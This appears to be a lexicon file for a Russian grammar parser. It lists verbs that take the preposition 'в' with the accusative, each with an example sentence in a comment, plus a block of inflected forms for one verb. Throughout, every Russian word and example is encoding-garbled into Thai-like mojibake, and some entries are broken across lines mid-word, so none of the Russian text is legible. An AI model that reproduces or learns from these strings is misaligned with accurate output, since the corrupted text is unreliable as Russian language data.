rus_verbs:ะฒะบะธะดัะฒะฐัััั{}, // ะััะท ะฒะบะธะดัะฒะฐะตััั ะฒ ะบะพะฝัะตะนะฝะตั
rus_verbs:ะฒะบะปะฐะดัะฒะฐัั{}, // ะะฝะฒะตััะพั ะฒะบะปะฐะดัะฒะฐะตั ะดะตะฝัะณะธ ะฒ ะฐะบัะธะธ
rus_verbs:ะฒะบะปะฐะดัะฒะฐัััั{}, // ะะฝะฒะตััะพั ะฒะบะปะฐะดัะฒะฐะตััั ะฒ ะฐะบัะธะธ
rus_verbs:ะฒะบะปะตะธะฒะฐัั{}, // ะะฐะปััะธะบ ะฒะบะปะตะธะฒะฐะตั ะบะฐััะธะฝะบั ะฒ ัะตััะฐะดั
rus_verbs:ะฒะบะปะตะธะฒะฐัััั{}, // ะะฐััะธะฝะบะฐ ะฒะบะปะตะธะฒะฐะตััั ะฒ ัะตััะฐะดั
rus_verbs:ะฒะบะปะตะธัั{}, // ะะฐะปััะธะบ ะฒะบะปะตะธะป ะบะฐััะธะฝะบั ะฒ ัะตััะฐะดั
rus_verbs:ะฒะบะปะตะธัััั{}, // ะะฐััะธะฝะบะฐ ะฒะบะปะตะธะปะฐัั ะฒ ัะตััะฐะดั
rus_verbs:ะฒะบะปะตะฟะฐัั{}, // ะะพะปะพัะพะบ ะฒะบะปะตะฟะฐะป ะทะฐะบะปะตะฟะบั ะฒ ะปะธัั
rus_verbs:ะฒะบะปะตะฟัะฒะฐัั{}, // ะะพะปะพัะพะบ ะฒะบะปะตะฟัะฒะฐะตั ะทะฐะบะปะตะฟะบั ะฒ ะปะธัั
rus_verbs:ะฒะบะปะธะฝะธะฒะฐัััั{}, // ะะฐัะธะฝะฐ ะฒะบะปะธะฝะธะฒะฐะตััั ะฒ ะฟะพัะพะบ
rus_verbs:ะฒะบะปะธะฝะธัััั{}, // ะผะฐัะธะฝะฐ ะฒะบะปะธะฝะธะปะฐัั ะฒ ะฟะพัะพะบ
rus_verbs:ะฒะบะปััะฐัั{}, // ะะพะผะฐะฝะดะฐ ะฒะบะปััะฐะตั ะบะพะผะฟัััะตั ะฒ ัะตัั
rus_verbs:ะฒะบะปััะฐัััั{}, // ะะฐัะธะฝะฐ ะฒะบะปััะฐะตััั ะฒ ะณะปะพะฑะฐะปัะฝัั ัะตัั
rus_verbs:ะฒะบะปััะธัั{}, // ะะพะผะฐะฝะดะฐ ะฒะบะปััะธะปะฐ ะบะพะผะฟัััะตั ะฒ ัะตัั
rus_verbs:ะฒะบะปััะธัััั{}, // ะะพะผะฟัััะตั ะฒะบะปััะธะปัั ะฒ ัะตัั
rus_verbs:ะฒะบะพะปะฐัะธะฒะฐัั{}, // ะกัะพะปัั ะฒะบะพะปะฐัะธะฒะฐะตั ะณะฒะพะทะดั ะฒ ะดะพัะบั
rus_verbs:ะฒะบะพะปะฐัะธะฒะฐัััั{}, // ะะฒะพะทะดั ะฒะบะพะปะฐัะธะฒะฐะตััั ะฒ ะดะพัะบั
rus_verbs:ะฒะบะพะปะพัะธัั{}, // ะกัะพะปัั ะฒะบะพะปะพัะธะป ะณะฒะพะทะดั ะฒ ะดะพัะบั
rus_verbs:ะฒะบะพะปะพัั{}, // ะะตะดัะตัััะฐ ะฒะบะพะปะพะปะฐ ะฒ ะผัััั ะปะตะบะฐัััะฒะพ
rus_verbs:ะฒะบะพะฟะฐัั{}, // ะ ะฐะฑะพัะธะต ะฒะบะพะฟะฐะปะธ ัะฒะฐั ะฒ ะทะตะผะปั
rus_verbs:ะฒะบัะฐะดัะฒะฐัััั{}, // ะัะธะฑะบะฐ ะฒะบัะฐะดัะฒะฐะตััั ะฒ ัะฐััะตัั
rus_verbs:ะฒะบัะฐะธะฒะฐัั{}, // ะะพััะฝะธั
ะฐ ะฒะบัะฐะธะฒะฐะตั ะฒััะฐะฒะบั ะฒ ัะฑะบั
rus_verbs:ะฒะบัะฐะธะฒะฐัััั{}, // ะััะฐะฒะบะฐ ะฒะบัะฐะธะฒะฐะตััั ะฒ ัะฑะบั
rus_verbs:ะฒะบัะฐััััั{}, // ะัะธะฑะบะฐ ะฒะบัะฐะปะฐัั ะฒ ัะฐััะตัั
rus_verbs:ะฒะบัััะธัั{}, // ะญะปะตะบััะธะบ ะฒะบัััะธะป ะปะฐะผะฟะพัะบั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะบัััะธัััั{}, // ะปะฐะผะฟะพัะบะฐ ะปะตะณะบะพ ะฒะบัััะธะปะฐัั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะบัััะธะฒะฐัั{}, // ะญะปะตะบััะธะบ ะฒะบัััะธะฒะฐะตั ะปะฐะผะฟะพัะบั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะบัััะธะฒะฐัััั{}, // ะะฐะผะฟะพัะบะฐ ะปะตะณะบะพ ะฒะบัััะธะฒะฐะตััั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะปะฐะทะธัั{}, // ะ ะฐะทัะตะผ ะฒะปะฐะทะธั ะฒ ะพัะฒะตัััะฒะธะต
rus_verbs:ะฒะปะฐะผัะฒะฐัั{}, // ะะพะปะธัะธั ะฒะปะฐะผัะฒะฐะตััั ะฒ ะบะฒะฐััะธัั
rus_verbs:ะฒะปะตัะฐัั{}, // ะกะฐะผะพะปะตั ะฒะปะตัะฐะตั ะฒ ะณัะพะทะพะฒะพะน ััะพะฝั
rus_verbs:ะฒะปะตัะตัั{}, // ะกะฐะผะพะปะตั ะฒะปะตัะตะป ะฒ ะณัะพะทะพะฒะพะน ััะพะฝั
rus_verbs:ะฒะปะธะฒะฐัั{}, // ะะตั
ะฐะฝะธะบ ะฒะปะธะฒะฐะตั ะผะฐัะปะพ ะฒ ะบะฐััะตั
rus_verbs:ะฒะปะธะฒะฐัััั{}, // ะะฐัะปะพ ะฒะปะธะฒะฐะตััั ะฒ ะบะฐััะตั
rus_verbs:ะฒะปะธะฟะฐัั{}, // ะญัะธ ะฝะตัะดะฐัะฝะธะบะธ ะฟะพััะพัะฝะฝะพ ะฒะปะธะฟะฐัั ะฒ ัะฐะทะฝัะต ะฟัะพะธััะตััะฒะธั
rus_verbs:ะฒะปะธะฟะฝััั{}, // ะญัะธ ะฝะตัะดะฐัะฝะธะบะธ ะพะฟััั ะฒะปะธะฟะปะธ ะฒ ะฝะตะฟัะธััะฝะพััะธ
rus_verbs:ะฒะปะธัั{}, // ะะตั
ะฐะฝะธะบ ะฒะปะธะป ัะฒะตะถะตะต ะผะฐัะปะพ ะฒ ะบะฐััะตั
rus_verbs:ะฒะปะธัััั{}, // ะกะฒะตะถะตะต ะผะฐัะปะพ ะฒะปะธะปะพัั ะฒ ะฑะฐะบ
rus_verbs:ะฒะปะพะถะธัั{}, // ะะฝะฒะตััะพัั ะฒะปะพะถะธะปะธ ะฒ ััะธ ะฐะบัะธะธ ะฑะพะปััะธะต ััะตะดััะฒะฐ
rus_verbs:ะฒะปะพะถะธัััั{}, // ะะฝะฒะตััะพัั ะฒะปะพะถะธะปะธัั ะฒ ััะธ ะฐะบัะธะธ
rus_verbs:ะฒะปัะฑะธัััั{}, // ะะพะปั ะฒะปัะฑะธะปัั ะฒ ะะปั
rus_verbs:ะฒะปัะฑะปััั{}, // ะะปั ะฟะพััะพัะฝะฝะพ ะฒะปัะฑะปัะปะฐ ะฒ ัะตะฑั ะผะฐะปััะธะบะพะฒ
rus_verbs:ะฒะปัะฑะปััััั{}, // ะะปั ะฒะปัะฑะปัะตััั ะฒ ัะฟะพัััะผะตะฝะพะฒ
rus_verbs:ะฒะปัะฟะฐัััั{}, // ะะพะปั ะฒะปัะฟะฐะปัั ะฒ ะฝะตะฟัะธััะฝะพััั
rus_verbs:ะฒะปัะฟัะฒะฐัััั{}, // ะะพะปั ะฟะพััะพัะฝะฝะพ ะฒะปัะฟัะฒะฐะตััั ะฒ ะฝะตะฟัะธััะฝะพััะธ
rus_verbs:ะฒะผะตะฝะธัั{}, // ะฒะผะตะฝะธัั ะฒ ะฒะธะฝั
rus_verbs:ะฒะผะตะฝััั{}, // ะฒะผะตะฝััั ะฒ ะพะฑัะทะฐะฝะฝะพััั
rus_verbs:ะฒะผะตัะทะฐัั{}, // ะะพะปะตัะฐ ะฒะผะตัะทะฐัั ะฒ ะปะตะด
rus_verbs:ะฒะผะตัะทะฝััั{}, // ะะพะปะตัะฐ ะฒะผะตัะทะปะธ ะฒ ะปะตะด
rus_verbs:ะฒะผะตััะธ{}, // ะฒะผะตััะธ ะฒ ะดะพะผ
rus_verbs:ะฒะผะตััะธัั{}, // ะฒะผะตััะธัั ะฒ ัะผะบะพััั
rus_verbs:ะฒะผะตััะธัััั{}, // ะัะธะฑะพั ะฝะต ะฒะผะตััะธะปัั ะฒ ะทะพะฝะด
rus_verbs:ะฒะผะตัะฐัััั{}, // ะะฐัะฐะปัะฝะธะบ ะฒะผะตัะฐะปัั ะฒ ะบะพะฝัะปะธะบั
rus_verbs:ะฒะผะตัะธะฒะฐัั{}, // ะะต ะฒะผะตัะธะฒะฐะน ะผะตะฝั ะฒ ััะพ ะดะตะปะพ
rus_verbs:ะฒะผะตัะธะฒะฐัััั{}, // ะะฐัะฐะปัะฝะธะบ ะฒะผะตัะธะฒะฐะตััั ะฒ ะฟะตัะตะณะพะฒะพัั
rus_verbs:ะฒะผะตัะฐัััั{}, // ะัะธะฑะพัั ะฝะต ะฒะผะตัะฐัััั ะฒ ะบะพัะฟัั
rus_verbs:ะฒะผะธะฝะฐัั{}, // ะฒะผะธะฝะฐัั ะฒ ะบะพัะฟัั
rus_verbs:ะฒะผะธะฝะฐัััั{}, // ะบัะพะฝััะตะนะฝ ะฒะผะธะฝะฐะตััั ะฒ ะบะพัะฟัั
rus_verbs:ะฒะผะพะฝัะธัะพะฒะฐัั{}, // ะะพะฝััััะบัะพัั ะฒะผะพะฝัะธัะพะฒะฐะปะธ ะฒ ะบะพัะฟัั ะทะพะฝะดะฐ ะฝะพะฒัะต ะฟัะธะฑะพัั
rus_verbs:ะฒะผะพะฝัะธัะพะฒะฐัััั{}, // ะะพะฒัะต ะฟัะธะฑะพัั ะปะตะณะบะพ ะฒะผะพะฝัะธัะพะฒะฐะปะธัั ะฒ ะบะพัะฟัั ะทะพะฝะดะฐ
rus_verbs:ะฒะผะพัะฐะถะธะฒะฐัั{}, // ะฃััะฐะฝะพะฒะบะฐ ะฒะผะพัะฐะถะธะฒะฐะตั ัะฒะฐะธ ะฒ ะณััะฝั
rus_verbs:ะฒะผะพัะฐะถะธะฒะฐัััั{}, // ะกะฒะฐะธ ะฒะผะพัะฐะถะธะฒะฐัััั ะฒ ะณััะฝั
rus_verbs:ะฒะผะพัะพะทะธัั{}, // ะฃััะฐะฝะพะฒะบะฐ ะฒะผะพัะพะทะธะปะฐ ัะฒะฐะธ ะฒ ะณััะฝั
rus_verbs:ะฒะผััะพะฒะฐัั{}, // ะกะตะนั ะฑัะป ะฒะผััะพะฒะฐะฝ ะฒ ััะตะฝั
rus_verbs:ะฒะผััะพะฒัะฒะฐัั{}, // ะฒะผััะพะฒัะฒะฐัั ัะตะนั ะฒ ััะตะฝั
rus_verbs:ะฒะผััะพะฒัะฒะฐัััั{}, // ัะตะนั ะฒะผััะพะฒัะฒะฐะตััั ะฒ ะฑะตัะพะฝะฝัั ััะตะฝั
rus_verbs:ะฒะฝะตะดัะธัั{}, // ะฒะฝะตะดัะธัั ะธะฝะฝะพะฒะฐัะธั ะฒ ะฟัะพะธะทะฒะพะดััะฒะพ
rus_verbs:ะฒะฝะตะดัะธัััั{}, // ะจะฟะธะพะฝ ะฒะฝะตะดัะธะปัั ะฒ ััะบะพะฒะพะดััะฒะพ
rus_verbs:ะฒะฝะตะดัััั{}, // ะฒะฝะตะดัััั ะธะฝะฝะพะฒะฐัะธะธ ะฒ ะฟัะพะธะทะฒะพะดััะฒะพ
rus_verbs:ะฒะฝะตะดัััััั{}, // ะจะฟะธะพะฝั ะฒะฝะตะดัััััั ะฒ ััะบะพะฒะพะดััะฒะพ
rus_verbs:ะฒะฝะตััะธ{}, // ะฒะฝะตััะธ ะบะพัะพะฑะบั ะฒ ะดะพะผ
rus_verbs:ะฒะฝะตััะธัั{}, // ะฒะฝะตััะธัั ะฒ ัะฟะธัะพะบ ะฟัะธะณะปะฐัะตะฝะฝัั
ะณะพััะตะน
rus_verbs:ะฒะฝะธะบะฐัั{}, // ะ ะฐะทัะฐะฑะพััะธะบ ะฒะฝะธะบะฐะตั ะฒ ะดะตัะฐะปะธ ะทะฐะดะฐัะธ
rus_verbs:ะฒะฝะธะบะฝััั{}, // ะะธะทะฐะนะฝะตั ะฒะฝะธะบ ะฒ ะดะตัะฐะปะธ ะทะฐะดะฐัะธ
rus_verbs:ะฒะฝะพัะธัั{}, // ะฒะฝะพัะธัั ะฝะพะฒะพะต ะดะตะนััะฒัััะตะต ะปะธัะพ ะฒ ัะฟะธัะพะบ ะณะปะฐะฒะฝัั
ะณะตัะพะตะฒ
rus_verbs:ะฒะฝะพัะธัััั{}, // ะฒะฝะพัะธัััั ะฒ ัะฟะธัะพะบ ะณะปะฐะฒะฝัั
ะฟะตััะพะฝะฐะถะตะน
rus_verbs:ะฒะฝัั
ะฐัััั{}, // ะัั ะฒะฝัั
ะฐะปัั ะฒ ะฐัะพะผะฐัั ะปะตัะฐ
rus_verbs:ะฒะฝัั
ะธะฒะฐัััั{}, // ะัั ะฒะฝัั
ะธะฒะฐะตััั ะฒ ะฐัะพะผะฐัั ะปะตัะฐ
rus_verbs:ะฒะพะฑัะฐัั{}, // ะฒะพะฑัะฐัั ะฒ ัะตะฑั ะปัััะธะต ะผะตัะพะดั ะฑะพััะฑั ั ะฒัะตะดะธัะตะปัะผะธ
rus_verbs:ะฒะพะฒะปะตะบะฐัั{}, // ะฒะพะฒะปะตะบะฐัั ัััะดะฝัั
ะฟะพะดัะพััะบะพะฒ ะฒ ะทะฐะฝััะธะต ัะฟะพััะพะผ
rus_verbs:ะฒะพะณะฝะฐัั{}, // ะฒะพะณะฝะฐะป ัะตะปะพะฒะตะบะฐ ะฒ ัะพัะบั
rus_verbs:ะฒะพะดะฒะพัะธัั{}, // ะฒะพะดะฒะพัะธัั ะฟัะตัััะฟะฝะธะบะฐ ะฒ ััััะผั
rus_verbs:ะฒะพะทะฒะตัะฝััั{}, // ะฒะพะทะฒะตัะฝััั ะฒ ัะพะดะฝัั ััะธั
ะธั
rus_verbs:ะฒะพะทะฒะตัะฝััััั{}, // ะฒะพะทะฒะตัะฝััััั ะฒ ัะพะดะฝัั ััะธั
ะธั
rus_verbs:ะฒะพะทะฒะตััะธ{}, // ะฒะพะทะฒะตััะธ ัะธัะปะพ ะฒ ัะตัะฝัั ััะตะฟะตะฝั
rus_verbs:ะฒะพะทะฒะพะดะธัั{}, // ะฒะพะทะฒะพะดะธัั ัะธัะปะพ ะฒ ัะตัะฝัั ััะตะฟะตะฝั
rus_verbs:ะฒะพะทะฒะพะดะธัััั{}, // ัะธัะปะพ ะฒะพะทะฒะพะดะธััั ะฒ ัะตัะฝัั ััะตะฟะตะฝั
rus_verbs:ะฒะพะทะฒัะฐัะธัั{}, // ะฒะพะทะฒัะฐัะธัั ะบะพัะพะฒ ะฒ ััะพะนะปะพ
rus_verbs:ะฒะพะทะฒัะฐัะธัััั{}, // ะฒะพะทะฒัะฐัะธัััั ะฒ ัะพะดะฝะพะน ะดะพะผ
rus_verbs:ะฒะพะทะฒัะฐัะฐัั{}, // ะฒะพะทะฒัะฐัะฐัั ะบะพัะพะฒ ะฒ ััะพะนะปะพ
rus_verbs:ะฒะพะทะฒัะฐัะฐัััั{}, // ะฒะพะทะฒัะฐัะฐัััั ะฒ ัะพะดะฝะพะน ะดะพะผ
rus_verbs:ะฒะพะนัะธ{}, // ะฒะพะนัะธ ะฒ ะณะฐะปะตัะตั ัะปะฐะฒั
rus_verbs:ะฒะพะฝะทะฐัั{}, // ะะพะปั ะฒะพะฝะทะฐะตั ะฒะธะปะบั ะฒ ะบะพัะปะตัั
rus_verbs:ะฒะพะฝะทะฐัััั{}, // ะะธะปะบะฐ ะฒะพะฝะทะฐะตััั ะฒ ะบะพัะปะตัั
rus_verbs:ะฒะพะฝะทะธัั{}, // ะะพะปั ะฒะพะฝะทะธะป ะฒะธะปะบั ะฒ ะบะพัะปะตัั
rus_verbs:ะฒะพะฝะทะธัััั{}, // ะะธะปะบะฐ ะฒะพะฝะทะธะปะฐัั ะฒ ัะพัะฝัั ะบะพัะปะตัั
rus_verbs:ะฒะพะฟะปะพัะธัั{}, // ะะพะปั ะฒะพะฟะปะพัะธะป ัะฒะพะธ ะผะตััั ะฒ ัะตะฐะปัะฝะพััั
rus_verbs:ะฒะพะฟะปะพัะธัััั{}, // ะะตััั ะฒะพะฟะปะพัะธะปะธัั ะฒ ัะตะฐะปัะฝะพััั
rus_verbs:ะฒะพะฟะปะพัะฐัั{}, // ะะพะปั ะฒะพะฟะปะพัะฐะตั ะผะตััั ะฒ ัะตะฐะปัะฝะพััั
rus_verbs:ะฒะพะฟะปะพัะฐัััั{}, // ะะตััั ะธะฝะพะณะดะฐ ะฒะพะฟะปะพัะฐัััั ะฒ ัะตะฐะปัะฝะพััั
rus_verbs:ะฒะพัะฒะฐัััั{}, // ะะตัะตะผะตะฝั ะฝะตะพะถะธะดะฐะฝะฝะพ ะฒะพัะฒะฐะปะธัั ะฒ ัะฐะทะผะตัะตะฝะฝัั ะถะธะทะฝั
rus_verbs:ะฒะพัะฟะฐัะธัั{}, // ะััะฐ ะฒะพัะฟะฐัะธะปะฐ ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะพัะฟะฐัััั{}, // ะััะฐ ะฒะพัะฟะฐััะตั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒัััั{}, // ะฒัััั ะพะฟะพัั ะฒ ะทะตะผะปั
rus_verbs:ะฒัััััั{}, // ะฒัััััั ะฒ ะทะตะผะปั
rus_verbs:ะฒัะฐะดะธัั{}, // ะฒัะฐะดะธัั ะฟัะปั ะฒ ัะตัะดัะต
rus_verbs:ะฒัะฐะถะธะฒะฐัั{}, // ะฒัะฐะถะธะฒะฐัั ะฝะพะถ ะฒ ะฑะพะบ
rus_verbs:ะฒัะฐััะฒะฐัั{}, // ะฒัะฐััะฒะฐัั ะฒะพะดั ะฒ ัะตะฑั
rus_verbs:ะฒัะฐััะฒะฐัััั{}, // ะฒัะฐััะฒะฐัััั ะฒ ัะผะบะพััั
rus_verbs:ะฒัะตะปะธัั{}, // ะฒัะตะปะธัั ะฝะฐะดะตะถะดั ะฒ ะบะพะณะพ-ะปะธะฑะพ
rus_verbs:ะฒัะตะปะธัััั{}, // ะฒัะตะปะธัััั ะฒ ะฟััััััะตะต ะทะดะฐะฝะธะต
rus_verbs:ะฒัะตะปััั{}, // ะฒัะตะปััั ะฝะฐะดะตะถะดั ะฒ ะบะพะณะพ-ัะพ
rus_verbs:ะฒัะตะปััััั{}, // ะฒัะตะปััััั ะฒ ะฟััััััะตะต ะทะดะฐะฝะธะต
rus_verbs:ะฒัะบะธะดัะฒะฐัั{}, // ะฒัะบะธะดัะฒะฐัั ััะบั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒัะบะธะฝััั{}, // ะฒัะบะธะฝััั ััะบั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒัะปััะฐัััั{}, // ะฒัะปััะฐัััั ะฒ ะทะฒัะบะธ
rus_verbs:ะฒัะปััะธะฒะฐัััั{}, // ะฒัะปััะธะฒะฐัััั ะฒ ัะพัะพั
rus_verbs:ะฒัะผะฐััะธะฒะฐัััั{}, // ะฒัะผะฐััะธะฒะฐัััั ะฒ ัะตะผะฝะพัั
rus_verbs:ะฒัะผะพััะตัััั{}, // ะฒัะผะพััะตัััั ะฒ ัะตะผะตะฝั
rus_verbs:ะฒัะพะฒัะฒะฐัั{}, // ะฒัะพะฒัะฒะฐัั ะฟะฐะปะตั ะฒ ะพัะฒะตัััะธะต
rus_verbs:ะฒัะพะฒัะฒะฐัััั{}, // ะฒัะพะฒัะฒะฐัััั ะฒ ัะพััะพัะบั
rus_verbs:ะฒัะพัะฐัั{}, // ะฒัะพัะฐัั ะถะธะดะบะพััั ะฒ ัะตะฑั
rus_verbs:ะฒัะพัะฐัััั{}, // ะฒัะพัะฐัััั ะฒ ะบะพะถั
rus_verbs:ะฒััะฐะฒะธัั{}, // ะฒััะฐะฒะธัั ะบะปัั ะฒ ะทะฐะผะพะบ
rus_verbs:ะฒััะฐะฒะปััั{}, // ะฒััะฐะฒะปััั ะบะปัั ะฒ ะทะฐะผะพะบ
rus_verbs:ะฒัััะฐะธะฒะฐัั{}, // ะฒัััะฐะธะฒะฐัั ัะตัะฝัะน ั
ะพะด ะฒ ัะธััะตะผั ะทะฐัะธัั
rus_verbs:ะฒัััะฐะธะฒะฐัััั{}, // ะฒัััะฐะธะฒะฐัััั ะฒ ัะธััะตะผั ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะฒัััะตะฒะฐัั{}, // ะฒัััะตะฒะฐัั ะฒ ัะฐะทะณะพะฒะพั
rus_verbs:ะฒัััะพะธัั{}, // ะฒัััะพะธัั ัะตะบัะตัะฝัะน ะผะพะดัะปั ะฒ ัะธััะตะผั ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะฒัััะพะธัััั{}, // ะฒัััะพะธัััั ะฒ ัะธััะตะผั ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะฒัััััั{}, // ะฒัััััั ะฒ ัะฐะทะณะพะฒะพั
rus_verbs:ะฒัััะฟะฐัั{}, // ะฒัััะฟะฐัั ะฒ ะดะตะนััะฒััััั ะฐัะผะธั
rus_verbs:ะฒัััะฟะธัั{}, // ะฒัััะฟะธัั ะฒ ะดะตะนััะฒััััั ะฐัะผะธั
rus_verbs:ะฒััะฝััั{}, // ะฒััะฝััั ะฟะฐะปะตั ะฒ ะพัะฒะตัััะธะต
rus_verbs:ะฒััะฝััััั{}, // ะฒััะฝััััั ะฒ ัะพััะพัะบั
ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะฒััะฟะฐัั ะฟะพัะพัะพะบ ะฒ ะบะพะฝัะตะนะฝะตั
ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒััะฟะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒััะฟะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฒััะฟะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฒััะฟะฐั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐะฝะฝัะน{},
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐััะธะน{},
ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะฒััะฟะฐัััั ะฒ ะบะพะฝัะตะนะฝะตั
// ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั},
// ะณะปะฐะณะพะป:ะฒััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั},
// ะดะตะตะฟัะธัะฐััะธะต:ะฒััะฟะฐะฒัะธัั{},
ะดะตะตะฟัะธัะฐััะธะต:ะฒััะฟะฐััั{},
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐะฒัะธะนัั{ ะฒะธะด:ัะพะฒะตัั },
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐะฒัะธะนัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒััะฟะฐััะธะนัั{},
rus_verbs:ะฒัะฐะปะบะธะฒะฐัั{}, // ะฒัะฐะปะบะธะฒะฐัั ะดะตัะฐะปั ะฒ ััะตะนะบั
rus_verbs:ะฒัะฐะปะบะธะฒะฐัััั{}, // ะฒัะฐะปะบะธะฒะฐัััั ะฒ ััะตะนะบั
rus_verbs:ะฒัะฐะฟััะฒะฐัั{}, // ะฒัะฐะฟััะฒะฐัั ะฒ ะณััะทั
rus_verbs:ะฒัะฐะฟััะฒะฐัััั{}, // ะฒัะฐะฟััะฒะฐัััั ะฒ ะณััะทั
rus_verbs:ะฒัะฐัะบะธะฒะฐัั{}, // ะฒัะฐัะบะธะฒะฐัั ะผะตัะพะบ ะฒ ะบะพะผะฝะฐัั
rus_verbs:ะฒัะฐัะบะธะฒะฐัััั{}, // ะฒัะฐัะบะธะฒะฐัััั ะฒ ะบะพะผะฝะฐัั
rus_verbs:ะฒัะฐัะธัั{}, // ะฒัะฐัะธัั ะผะตัะพะบ ะฒ ะบะพะผะฝะฐัั
rus_verbs:ะฒัะฐัะธัััั{}, // ะฒัะฐัะธัััั ะฒ ะบะพะผะฝะฐัั
rus_verbs:ะฒัะตะบะฐัั{}, // ะฒัะตะบะฐัั ะฒ ะฑัััะปะบั
rus_verbs:ะฒัะตะผััะธะฒะฐัั{}, // ะฒัะตะผััะธะฒะฐัั ะฒ ะณะพะปะพะฒั
rus_verbs:ะฒัะตะผััะธะฒะฐัััั{}, // ะฒัะตะผััะธะฒะฐัััั ะฒ ะณะพะปะพะฒั
rus_verbs:ะฒัะตะผััะธัั{}, // ะฒัะตะผััะธัั ะฒ ะณะพะปะพะฒั
rus_verbs:ะฒัะตะผััะธัััั{}, // ะฒัะตะผััะธัััั ะฒ ะณะพะปะพะฒั
rus_verbs:ะฒัะตัะตัั{}, // ะฒัะตัะตัั ะบัะตะผ ะฒ ะบะพะถั
rus_verbs:ะฒัะตัะตัััั{}, // ะฒัะตัะตัััั ะฒ ะบะพะถั
rus_verbs:ะฒัะตัะฐัััั{}, // ะฒัะตัะฐัััั ะฒ ะณััะฟะฟั
rus_verbs:ะฒัะตััะฒะฐัั{}, // ะฒัะตััะฒะฐัั ะฒ ะณััะฟะฟั
rus_verbs:ะฒัะตััะฒะฐัััั{}, // ะฒัะตััะฒะฐัััั ะฒ ะณััะฟะฟั
rus_verbs:ะฒัะตัั{}, // ะฒัะตัั ะฒ ะฑะฐะบ
rus_verbs:ะฒัะธัะฐัั{}, // ะฒัะธัะฐัั ะบัะตะผ ะฒ ะบะพะถั
rus_verbs:ะฒัะธัะฐัััั{}, // ะฒัะธัะฐัััั ะฒ ะบะพะถั
rus_verbs:ะฒัะธัะบะธะฒะฐัั{}, // ะฒัะธัะบะธะฒะฐัั ััะผะบั ะฒ ะฒะฐะณะพะฝ
rus_verbs:ะฒัะธัะบะธะฒะฐัััั{}, // ะฒัะธัะบะธะฒะฐัััั ะฒ ะฟะตัะตะฟะพะปะฝะตะฝะฝัะน ะฒะฐะณะพะฝ
rus_verbs:ะฒัะธัะฝััั{}, // ะฒัะธัะฝััั ััะผะบั ะฒ ะฒะฐะณะพะฝ
rus_verbs:ะฒัะธัะฝััััั{}, // ะฒัะธัะฝััััั ะฒ ะฟะตัะตะฟะพะปะฝะตะฝะฝัะน ะฒะฐะณะพะฝ ะผะตััะพ
rus_verbs:ะฒัะพะปะบะฐัั{}, // ะฒัะพะปะบะฐัั ะบะพะปััะบั ะฒ ะปะธัั
rus_verbs:ะฒัะพะปะบะฐัััั{}, // ะฒัะพะปะบะฐัััั ะฒ ะฒะฐะณะพะฝ ะผะตััะพ
rus_verbs:ะฒัะพะปะบะฝััั{}, // ะฒัะพะปะบะฝััั ะบะพะปััะบั ะฒ ะปะธัั
rus_verbs:ะฒัะพะปะบะฝััััั{}, // ะฒัะพะปะบะฝััััั ะฒ ะฒะฐะณะพะฝ ะผะตััะพ
rus_verbs:ะฒัะพะปะพัั{}, // ะฒัะพะปะพัั ะฒ ัะผะตัั
rus_verbs:ะฒัะพะฟัะฐัั{}, // ะฒัะพะฟัะฐัั ัะฒะตัั ะฒ ะทะตะผะปั
rus_verbs:ะฒัะพัะณะฐัััั{}, // ะฒัะพัะณะฐัััั ะฒ ััะถัั ะทะพะฝั
rus_verbs:ะฒัะพัะณะฝััััั{}, // ะฒัะพัะณะฝััััั ะฒ ัะฐััะฝัั ะถะธะทะฝั
rus_verbs:ะฒััะฐะฒะธัั{}, // ะฒััะฐะฒะธัั ะบะพะณะพ-ัะพ ะฒ ะฝะตะฟัะธััะฝะพััะธ
rus_verbs:ะฒััะฐะฒะปะธะฒะฐัั{}, // ะฒััะฐะฒะปะธะฒะฐัั ะบะพะณะพ-ัะพ ะฒ ะฝะตะฟัะธััะฝะพััะธ
rus_verbs:ะฒััะฐะผะฑะพะฒะฐัั{}, // ะฒััะฐะผะฑะพะฒะฐัั ะบะฐะผะฝะธ ะฒ ะทะตะผะปั
rus_verbs:ะฒััะฐะผะฑะพะฒัะฒะฐัั{}, // ะฒััะฐะผะฑะพะฒัะฒะฐัั ะบะฐะผะฝะธ ะฒ ะทะตะผะปั
